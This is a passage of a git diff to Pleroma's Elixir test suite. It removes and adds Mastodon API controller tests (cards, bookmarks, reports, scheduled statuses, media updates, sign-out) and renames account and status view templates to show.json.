post("/api/v1/statuses/#{activity_two.id}/pin") - |> json_response(400) - end - end - - describe "cards" do - setup do - Config.put([:rich_media, :enabled], true) - - user = insert(:user) - %{user: user} - end - - test "returns rich-media card", %{conn: conn, user: user} do - {:ok, activity} = CommonAPI.post(user, %{"status" => "https://example.com/ogp"}) - - card_data = %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "provider_name" => "example.com", - "provider_url" => "https://example.com", - "title" => "The Rock", - "type" => "link", - "url" => "https://example.com/ogp", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", - "pleroma" => %{ - "opengraph" => %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "title" => "The Rock", - "type" => "video.movie", - "url" => "https://example.com/ogp", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer." - } - } - } - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/card") - |> json_response(200) - - assert response == card_data - - # works with private posts - {:ok, activity} = - CommonAPI.post(user, %{"status" => "https://example.com/ogp", "visibility" => "direct"}) - - response_two = - conn - |> assign(:user, user) - |> get("/api/v1/statuses/#{activity.id}/card") - |> json_response(200) - - assert response_two == card_data - end - - test "replaces missing description with an empty string", %{conn: conn, user: user} do - {:ok, activity} = - CommonAPI.post(user, %{"status" => "https://example.com/ogp-missing-data"}) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/card") - |> json_response(:ok) - - assert response == %{ - "type" => "link", - "title" => "Pleroma", - "description" => "", - "image" => nil, - "provider_name" => "example.com", - "provider_url" => "https://example.com", - "url" => "https://example.com/ogp-missing-data", - "pleroma" => %{ - "opengraph" => %{ - "title" => "Pleroma", - "type" => "website", - "url" => "https://example.com/ogp-missing-data" - } - } - } - end - end - - test "bookmarks" do - user = insert(:user) - for_user = insert(:user) - - {:ok, activity1} = - CommonAPI.post(user, %{ - "status" => "heweoo?" - }) - - {:ok, activity2} = - CommonAPI.post(user, %{ - "status" => "heweoo!" - }) - - response1 = - build_conn() - |> assign(:user, for_user) - |> post("/api/v1/statuses/#{activity1.id}/bookmark") - - assert json_response(response1, 200)["bookmarked"] == true - - response2 = - build_conn() - |> assign(:user, for_user) - |> post("/api/v1/statuses/#{activity2.id}/bookmark") - - assert json_response(response2, 200)["bookmarked"] == true - - bookmarks = - build_conn() - |> assign(:user, for_user) - |> get("/api/v1/bookmarks") - - assert [json_response(response2, 200), json_response(response1, 200)] == - json_response(bookmarks, 200) - - response1 = - build_conn() - |> assign(:user, for_user) - |> post("/api/v1/statuses/#{activity1.id}/unbookmark") - - assert json_response(response1, 200)["bookmarked"] == false - - bookmarks = - build_conn() - |> assign(:user, for_user) - |> get("/api/v1/bookmarks") - - assert [json_response(response2, 200)] == json_response(bookmarks, 200) - end - - describe "conversation muting" do - setup do - post_user = insert(:user) - user = insert(:user) - - {:ok, activity} = CommonAPI.post(post_user, %{"status" => "HIE"}) - - [user: user, activity: activity] - end - - test "mute conversation", %{conn: conn, user: user, activity: activity} do - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "muted" => true} = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/mute") - |> json_response(200) - end - - test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.add_mute(user, activity) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/mute") - - assert json_response(conn, 400) == %{"error" => "conversation is already muted"} - end - - test "unmute conversation", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.add_mute(user, activity) - - id_str = to_string(activity.id) - user = refresh_record(user) - - assert %{"id" => ^id_str, "muted" => false} = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/unmute") - |> json_response(200) - end - end - - describe "reports" do - setup do - reporter = insert(:user) - target_user = insert(:user) - - {:ok, activity} = CommonAPI.post(target_user, %{"status" => "foobar"}) - - [reporter: reporter, target_user: target_user, activity: activity] - end - - test "submit a basic report", %{conn: conn, reporter: reporter, target_user: target_user} do - assert %{"action_taken" => false, "id" => _} = - conn - |> assign(:user, reporter) - |> post("/api/v1/reports", %{"account_id" => target_user.id}) - |> json_response(200) - end - - test "submit a report with statuses and comment", %{ - conn: conn, - reporter: reporter, - target_user: target_user, - activity: activity - } do - assert %{"action_taken" => false, "id" => _} = - conn - |> assign(:user, reporter) - |> post("/api/v1/reports", %{ - "account_id" => target_user.id, - "status_ids" => [activity.id], - "comment" => "bad status!", - "forward" => "false" - }) - |> json_response(200) - end - - test "account_id is required", %{ - conn: conn, - reporter: reporter, - activity: activity - } do - assert %{"error" => "Valid `account_id` required"} = - conn - |> assign(:user, reporter) - |> post("/api/v1/reports", %{"status_ids" => [activity.id]}) - |> json_response(400) - end - - test "comment must be up to the size specified in the config", %{ - conn: conn, - reporter: reporter, - target_user: target_user - } do - max_size = Config.get([:instance, :max_report_comment_size], 1000) - comment = String.pad_trailing("a", max_size + 1, "a") - - error = %{"error" => "Comment must be up to #{max_size} characters"} - - assert ^error = - conn - |> assign(:user, reporter) - |> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment}) - |> json_response(400) - end - - test "returns error when account is not exist", %{ - conn: conn, - reporter: reporter, - activity: activity - } do - conn = - conn - |> assign(:user, reporter) - |> post("/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"}) - - assert json_response(conn, 400) == %{"error" => "Account not found"} - end - end - describe "link headers" do test "preserves parameters in link headers", %{conn: conn} do user = insert(:user) @@ -3034,32 +321,6 @@ test "preserves parameters in link headers", %{conn: conn} do end end - test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do - # Need to set an old-style integer ID to reproduce the problem - # (these are no longer assigned to new accounts but were preserved - # for existing accounts during the migration to flakeIDs) - user_one = insert(:user, %{id: 1212}) - user_two = insert(:user, %{nickname: "#{user_one.id}garbage"}) - - resp_one = - conn - |> get("/api/v1/accounts/#{user_one.id}") - - resp_two = - conn - |> get("/api/v1/accounts/#{user_two.nickname}") - - resp_three = - conn - |> get("/api/v1/accounts/#{user_two.id}") - - acc_one = json_response(resp_one, 200) - acc_two = json_response(resp_two, 200) - acc_three = json_response(resp_three, 200) - refute acc_one == acc_two - assert acc_two == acc_three - end - describe "custom emoji" do test "with tags", %{conn: conn} do [emoji | _body] = @@ -3156,368 +417,6 @@ test "redirects to the getting-started page when referer is not present", %{conn end end - describe "scheduled activities" do - test "creates a scheduled activity", %{conn: conn} do - user = insert(:user) - scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{ - "status" => "scheduled", - "scheduled_at" => scheduled_at - }) - - assert %{"scheduled_at" => expected_scheduled_at} = json_response(conn, 200) - assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(scheduled_at) - assert [] == Repo.all(Activity) - end - - test "creates a scheduled activity with a media attachment", %{conn: conn} do - user = insert(:user) - scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{ - "media_ids" => [to_string(upload.id)], - "status" => "scheduled", - "scheduled_at" => scheduled_at - }) - - assert %{"media_attachments" => [media_attachment]} = json_response(conn, 200) - assert %{"type" => "image"} = media_attachment - end - - test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now", - %{conn: conn} do - user = insert(:user) - - scheduled_at = - NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{ - "status" => "not scheduled", - "scheduled_at" => scheduled_at - }) - - assert %{"content" => "not scheduled"} = json_response(conn, 200) - assert [] == Repo.all(ScheduledActivity) - end - - test "returns error when daily user limit is exceeded", %{conn: conn} do - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, attrs) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today}) - - assert %{"error" => "daily limit exceeded"} == json_response(conn, 422) - end - - test "returns error when total user limit is exceeded", %{conn: conn} do - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - tomorrow = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.hours(36), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow}) - - assert %{"error" => "total limit exceeded"} == json_response(conn, 422) - end - - test "shows scheduled activities", %{conn: conn} do - user = insert(:user) - scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string() - scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string() - scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string() - scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string() - - conn = - conn - |> assign(:user, user) - - # min_id - conn_res = - conn - |> get("/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}") - - result = json_response(conn_res, 200) - assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result - - # since_id - conn_res = - conn - |> get("/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}") - - result = json_response(conn_res, 200) - assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result - - # max_id - conn_res = - conn - |> get("/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}") - - result = json_response(conn_res, 200) - assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result - end - - test "shows a scheduled activity", %{conn: conn} do - user = insert(:user) - scheduled_activity = insert(:scheduled_activity, user: user) - - res_conn = - conn - |> assign(:user, user) - |> get("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - - assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200) - assert scheduled_activity_id == scheduled_activity.id |> to_string() - - res_conn = - conn - |> assign(:user, user) - |> get("/api/v1/scheduled_statuses/404") - - assert %{"error" => "Record not found"} = json_response(res_conn, 404) - end - - test "updates a scheduled activity", %{conn: conn} do - user = insert(:user) - scheduled_activity = insert(:scheduled_activity, user: user) - - new_scheduled_at = - NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond) - - res_conn = - conn - |> assign(:user, user) - |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{ - scheduled_at: new_scheduled_at - }) - - assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200) - assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at) - - res_conn = - conn - |> assign(:user, user) - |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at}) - - assert %{"error" => "Record not found"} = json_response(res_conn, 404) - end - - test "deletes a scheduled activity", %{conn: conn} do - user = insert(:user) - scheduled_activity = insert(:scheduled_activity, user: user) - - res_conn = - conn - |> assign(:user, user) - |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - - assert %{} = json_response(res_conn, 200) - assert nil == Repo.get(ScheduledActivity, scheduled_activity.id) - - res_conn = - conn - |> assign(:user, user) - |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") - - assert %{"error" => "Record not found"} = json_response(res_conn, 404) - end - end - - test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do - user1 = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - - {:ok, replied_to} = CommonAPI.post(user1, %{"status" => "cofe"}) - - # Reply to status from another user - conn1 = - conn - |> assign(:user, user2) - |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) - - assert %{"content" => "xD", "id" => id} = json_response(conn1, 200) - - activity = Activity.get_by_id_with_object(id) - - assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"] - assert Activity.get_in_reply_to_activity(activity).id == replied_to.id - - # Reblog from the third user - conn2 = - conn - |> assign(:user, user3) - |> post("/api/v1/statuses/#{activity.id}/reblog") - - assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} = - json_response(conn2, 200) - - assert to_string(activity.id) == id - - # Getting third user status - conn3 = - conn - |> assign(:user, user3) - |> get("api/v1/timelines/home") - - [reblogged_activity] = json_response(conn3, 200) - - assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id - - replied_to_user = User.get_by_ap_id(replied_to.data["actor"]) - assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id - end - - describe "create account by app" do - test "Account registration via Application", %{conn: conn} do - conn = - conn - |> post("/api/v1/apps", %{ - client_name: "client_name", - redirect_uris: "urn:ietf:wg:oauth:2.0:oob", - scopes: "read, write, follow" - }) - - %{ - "client_id" => client_id, - "client_secret" => client_secret, - "id" => _, - "name" => "client_name", - "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", - "vapid_key" => _, - "website" => nil - } = json_response(conn, 200) - - conn = - conn - |> post("/oauth/token", %{ - grant_type: "client_credentials", - client_id: client_id, - client_secret: client_secret - }) - - assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = - json_response(conn, 200) - - assert token - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - assert refresh - assert scope == "read write follow" - - conn = - build_conn() - |> put_req_header("authorization", "Bearer " <> token) - |> post("/api/v1/accounts", %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - agreement: true - }) - - %{ - "access_token" => token, - "created_at" => _created_at, - "scope" => _scope, - "token_type" => "Bearer" - } = json_response(conn, 200) - - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - token_from_db = Repo.preload(token_from_db, :user) - assert token_from_db.user - - assert token_from_db.user.info.confirmation_pending - end - - test "rate limit", %{conn: conn} do - app_token = insert(:oauth_token, user: nil) - - conn = - put_req_header(conn, "authorization", "Bearer " <> app_token.token) - |> Map.put(:remote_ip, {15, 15, 15, 15}) - - for i <- 1..5 do - conn = - conn - |> post("/api/v1/accounts", %{ - username: "#{i}lain", - email: "#{i}lain@example.org", - password: "PlzDontHackLain", - agreement: true - }) - - %{ - "access_token" => token, - "created_at" => _created_at, - "scope" => _scope, - "token_type" => "Bearer" - } = json_response(conn, 200) - - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - token_from_db = Repo.preload(token_from_db, :user) - assert token_from_db.user - - assert token_from_db.user.info.confirmation_pending - end - - conn = - conn - |> post("/api/v1/accounts", %{ - username: "6lain", - email: "6lain@example.org", - password: "PlzDontHackLain", - agreement: true - }) - - assert json_response(conn, :too_many_requests) == %{"error" => "Throttled"} - end - end - describe "GET /api/v1/polls/:id" do test "returns poll entity for object id", %{conn: conn} do user = insert(:user) @@ -3690,197 +589,6 @@ test "returns 404 when poll is private and not available for user", %{conn: conn end end - describe "GET /api/v1/statuses/:id/favourited_by" do - setup do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{"status" => "test"}) - - conn = - build_conn() - |> assign(:user, user) - - [conn: conn, activity: activity, user: user] - end - - test "returns users who have favorited the status", %{conn: conn, activity: activity} do - other_user = insert(:user) - {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response(:ok) - - [%{"id" => id}] = response - - assert id == other_user.id - end - - test "returns empty array when status has not been favorited yet", %{ - conn: conn, - activity: activity - } do - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response(:ok) - - assert Enum.empty?(response) - end - - test "does not return users who have favorited the status but are blocked", %{ - conn: %{assigns: %{user: user}} = conn, - activity: activity - } do - other_user = insert(:user) - {:ok, user} = User.block(user, other_user) - - {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) - - response = - conn - |> assign(:user, user) - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response(:ok) - - assert Enum.empty?(response) - end - - test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do - other_user = insert(:user) - {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) - - response = - conn - |> assign(:user, nil) - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response(:ok) - - [%{"id" => id}] = response - assert id == other_user.id - end - - test "requires authentification for private posts", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - "status" => "@#{other_user.nickname} wanna get some #cofe together?", - "visibility" => "direct" - }) - - {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) - - conn - |> assign(:user, nil) - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response(404) - - response = - build_conn() - |> assign(:user, other_user) - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response(200) - - [%{"id" => id}] = response - assert id == other_user.id - end - end - - describe "GET /api/v1/statuses/:id/reblogged_by" do - setup do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{"status" => "test"}) - - conn = - build_conn() - |> assign(:user, user) - - [conn: conn, activity: activity, user: user] - end - - test "returns users who have reblogged the status", %{conn: conn, activity: activity} do - other_user = insert(:user) - {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response(:ok) - - [%{"id" => id}] = response - - assert id == other_user.id - end - - test "returns empty array when status has not been reblogged yet", %{ - conn: conn, - activity: activity - } do - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response(:ok) - - assert Enum.empty?(response) - end - - test "does not return users who have reblogged the status but are blocked", %{ - conn: %{assigns: %{user: user}} = conn, - activity: activity - } do - other_user = insert(:user) - {:ok, user} = User.block(user, other_user) - - {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) - - response = - conn - |> assign(:user, user) - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response(:ok) - - assert Enum.empty?(response) - end - - test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do - other_user = insert(:user) - {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) - - response = - conn - |> assign(:user, nil) - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response(:ok) - - [%{"id" => id}] = response - assert id == other_user.id - end - - test "requires authentification for private posts", %{conn: conn, user: user} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - "status" => "@#{other_user.nickname} wanna get some #cofe together?", - "visibility" => "direct" - }) - - conn - |> assign(:user, nil) - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response(404) - - response = - build_conn() - |> assign(:user, other_user) - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response(200) - - assert [] == response - end - end - describe "POST /auth/password, with valid parameters" do setup %{conn: conn} do user = insert(:user) @@ -3933,46 +641,6 @@ test "it returns 400 when user is not local", %{conn: conn, user: user} do end end - describe "POST /api/v1/pleroma/accounts/confirmation_resend" do - setup do - user = insert(:user) - info_change = User.Info.confirmation_changeset(user.info, need_confirmation: true) - - {:ok, user} = - user - |> Changeset.change() - |> Changeset.put_embed(:info, info_change) - |> Repo.update() - - assert user.info.confirmation_pending - - [user: user] - end - - clear_config([:instance, :account_activation_required]) do - Config.put([:instance, :account_activation_required], true) - end - - test "resend account confirmation email", %{conn: conn, user: user} do - conn - |> assign(:user, user) - |> post("/api/v1/pleroma/accounts/confirmation_resend?email=#{user.email}") - |> json_response(:no_content) - - ObanHelpers.perform_all() - - email = Pleroma.Emails.UserEmail.account_confirmation_email(user) - notify_email = Config.get([:instance, :notify_email]) - instance_name = Config.get([:instance, :name]) - - assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - end - describe "GET /api/v1/suggestions" do setup do user = insert(:user) @@ -4053,4 +721,98 @@ test "returns suggestions", %{conn: conn, user: user, other_user: other_user} do ] end end + + describe "PUT /api/v1/media/:id" do + setup do + actor = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, %Object{} = object} = + ActivityPub.upload( + file, + actor: User.ap_id(actor), + description: "test-m" + ) + + [actor: actor, object: object] + end + + test "updates name of media", %{conn: conn, actor: actor, object: object} do + media = + conn + |> assign(:user, actor) + |> put("/api/v1/media/#{object.id}", %{"description" => "test-media"}) + |> json_response(:ok) + + assert media["description"] == "test-media" + assert refresh_record(object).data["name"] == "test-media" + end + + test "returns error wheb request is bad", %{conn: conn, actor: actor, object: object} do + media = + conn + |> assign(:user, actor) + |> put("/api/v1/media/#{object.id}", %{}) + |> json_response(400) + + assert media == %{"error" => "bad_request"} + end + end + + describe "DELETE /auth/sign_out" do + test "redirect to root page", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> delete("/auth/sign_out") + + assert conn.status == 302 + assert redirected_to(conn) == "/" + end + end + + describe "empty_array, stubs for mastodon api" do + test "GET /api/v1/accounts/:id/identity_proofs", %{conn: conn} do + user = insert(:user) + + res = + conn + |> assign(:user, user) + |> get("/api/v1/accounts/#{user.id}/identity_proofs") + |> json_response(200) + + assert res == [] + end + + test "GET /api/v1/endorsements", %{conn: conn} do + user = insert(:user) + + res = + conn + |> assign(:user, user) + |> get("/api/v1/endorsements") + |> json_response(200) + + assert res == [] + end + + test "GET /api/v1/trends", %{conn: conn} do + user = insert(:user) + + res = + conn + |> assign(:user, user) + |> get("/api/v1/trends") + |> json_response(200) + + assert res == [] + end + end end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 6206107f7..62b2ab7e3 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -67,7 +67,9 @@ test "Represent a user account" do source: %{ note: "valid html", sensitive: false, - pleroma: %{}, + pleroma: %{ + discoverable: false + }, fields: [] }, pleroma: %{ @@ -86,7 +88,7 @@ test "Represent a user account" do } } - assert expected == AccountView.render("account.json", %{user: user}) + assert expected == AccountView.render("show.json", %{user: user}) end test "Represent the user account for the account owner" do @@ -104,7 +106,7 @@ test "Represent the user account for the account owner" do assert %{ pleroma: %{notification_settings: ^notification_settings}, source: %{privacy: ^privacy} - } = AccountView.render("account.json", %{user: user, for: user}) + } = AccountView.render("show.json", %{user: user, for: user}) end test "Represent a Service(bot) account" do @@ -137,7 +139,9 @@ test "Represent a Service(bot) account" do source: %{ note: user.bio, sensitive: false, - pleroma: %{}, + pleroma: %{ + discoverable: false + }, fields: [] }, pleroma: %{ @@ -156,13 +160,13 @@ test "Represent a Service(bot) account" do } } - assert expected == AccountView.render("account.json", %{user: user}) + assert expected == AccountView.render("show.json", %{user: user}) end test "Represent a deactivated user for an admin" do admin = insert(:user, %{info: %{is_admin: true}}) deactivated_user = insert(:user, %{info: %{deactivated: true}}) - represented = AccountView.render("account.json", %{user: deactivated_user, for: admin}) + represented = AccountView.render("show.json", %{user: deactivated_user, for: admin}) assert represented[:pleroma][:deactivated] == true end @@ -310,7 +314,9 @@ test "represent an embedded relationship" do source: %{ note: user.bio, sensitive: false, - pleroma: %{}, + pleroma: %{ + discoverable: false + }, fields: [] }, pleroma: %{ @@ -342,27 +348,27 @@ test "represent an embedded relationship" do } } - assert expected == AccountView.render("account.json", %{user: user, for: other_user}) + assert expected == AccountView.render("show.json", %{user: user, for: other_user}) end test "returns the settings store if the requesting user is the represented user and it's requested specifically" do user = insert(:user, %{info: %User.Info{pleroma_settings_store: %{fe: "test"}}}) result = - AccountView.render("account.json", %{user: user, for: user, with_pleroma_settings: true}) + AccountView.render("show.json", %{user: user, for: user, with_pleroma_settings: true}) assert result.pleroma.settings_store == %{:fe => "test"} - result = AccountView.render("account.json", %{user: user, with_pleroma_settings: true}) + result = AccountView.render("show.json", %{user: user, with_pleroma_settings: true}) assert result.pleroma[:settings_store] == nil - result = AccountView.render("account.json", %{user: user, for: user}) + result = AccountView.render("show.json", %{user: user, for: user}) assert result.pleroma[:settings_store] == nil end test "sanitizes display names" do user = insert(:user, name: " username ") - result = AccountView.render("account.json", %{user: user}) + result = AccountView.render("show.json", %{user: user}) refute result.display_name == " username " end @@ -385,7 +391,7 @@ test "shows when follows/followers stats are hidden and sets follow/follower cou followers_count: 0, following_count: 0, pleroma: %{hide_follows_count: true, hide_followers_count: true} - } = AccountView.render("account.json", %{user: user}) + } = AccountView.render("show.json", %{user: user}) end test "shows when follows/followers are hidden" do @@ -398,7 +404,7 @@ test "shows when follows/followers are hidden" do followers_count: 1, following_count: 1, pleroma: %{hide_follows: true, hide_followers: true} - } = AccountView.render("account.json", %{user: user}) + } = AccountView.render("show.json", %{user: user}) end test "shows actual follower/following count to the account owner" do @@ -410,7 +416,82 @@ test "shows actual follower/following count to the account owner" do assert %{ followers_count: 1, following_count: 1 - } = AccountView.render("account.json", %{user: user, for: user}) + } = AccountView.render("show.json", %{user: user, for: user}) + end + end + + describe "follow requests counter" do + test "shows zero when no follow requests are pending" do + user = insert(:user) + + assert %{follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "shows non-zero when follow requests are pending" do + user = insert(:user, %{info: %{locked: true}}) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{locked: true, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "decreases when accepting a follow request" do + user = insert(:user, %{info: %{locked: true}}) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{locked: true, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + + {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) + + assert %{locked: true, follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "decreases when rejecting a follow request" do + user = insert(:user, %{info: %{locked: true}}) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) + + assert %{locked: true, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) + + {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) + + assert %{locked: true, follow_requests_count: 0} = + AccountView.render("show.json", %{user: user, for: user}) + end + + test "shows non-zero when historical unapproved requests are present" do + user = insert(:user, %{info: %{locked: true}}) + + assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + {:ok, user} = User.update_info(user, &User.Info.user_upgrade(&1, %{locked: false})) + + assert %{locked: false, follow_requests_count: 1} = + AccountView.render("show.json", %{user: user, for: user}) end end end diff --git a/test/web/mastodon_api/views/notification_view_test.exs b/test/web/mastodon_api/views/notification_view_test.exs index 9231aaec8..81ab82e2b 100644 --- a/test/web/mastodon_api/views/notification_view_test.exs +++ b/test/web/mastodon_api/views/notification_view_test.exs @@ -27,8 +27,8 @@ test "Mention notification" do id: to_string(notification.id), pleroma: %{is_seen: false}, type: "mention", - account: AccountView.render("account.json", %{user: user, for: mentioned_user}), - status: StatusView.render("status.json", %{activity: activity, for: mentioned_user}), + account: AccountView.render("show.json", %{user: user, for: mentioned_user}), + status: StatusView.render("show.json", %{activity: activity, for: mentioned_user}), created_at: Utils.to_masto_date(notification.inserted_at) } @@ -50,8 +50,8 @@ test "Favourite notification" do id: to_string(notification.id), pleroma: %{is_seen: false}, type: "favourite", - account: AccountView.render("account.json", %{user: another_user, for: user}), - status: StatusView.render("status.json", %{activity: create_activity, for: user}), + account: AccountView.render("show.json", %{user: another_user, for: user}), + status: StatusView.render("show.json", %{activity: create_activity, for: user}), created_at: Utils.to_masto_date(notification.inserted_at) } @@ -72,8 +72,8 @@ test "Reblog notification" do id: to_string(notification.id), pleroma: %{is_seen: false}, type: "reblog", - account: AccountView.render("account.json", %{user: another_user, for: user}), - status: StatusView.render("status.json", %{activity: reblog_activity, for: user}), + account: AccountView.render("show.json", %{user: another_user, for: user}), + status: StatusView.render("show.json", %{activity: reblog_activity, for: user}), created_at: Utils.to_masto_date(notification.inserted_at) } @@ -92,7 +92,7 @@ test "Follow notification" do id: to_string(notification.id), pleroma: %{is_seen: false}, type: "follow", - account: AccountView.render("account.json", %{user: follower, for: followed}), + account: AccountView.render("show.json", %{user: follower, for: followed}), created_at: Utils.to_masto_date(notification.inserted_at) } diff --git a/test/web/mastodon_api/views/status_view_test.exs b/test/web/mastodon_api/views/status_view_test.exs index 51f8434fa..8df23d0a8 100644 --- 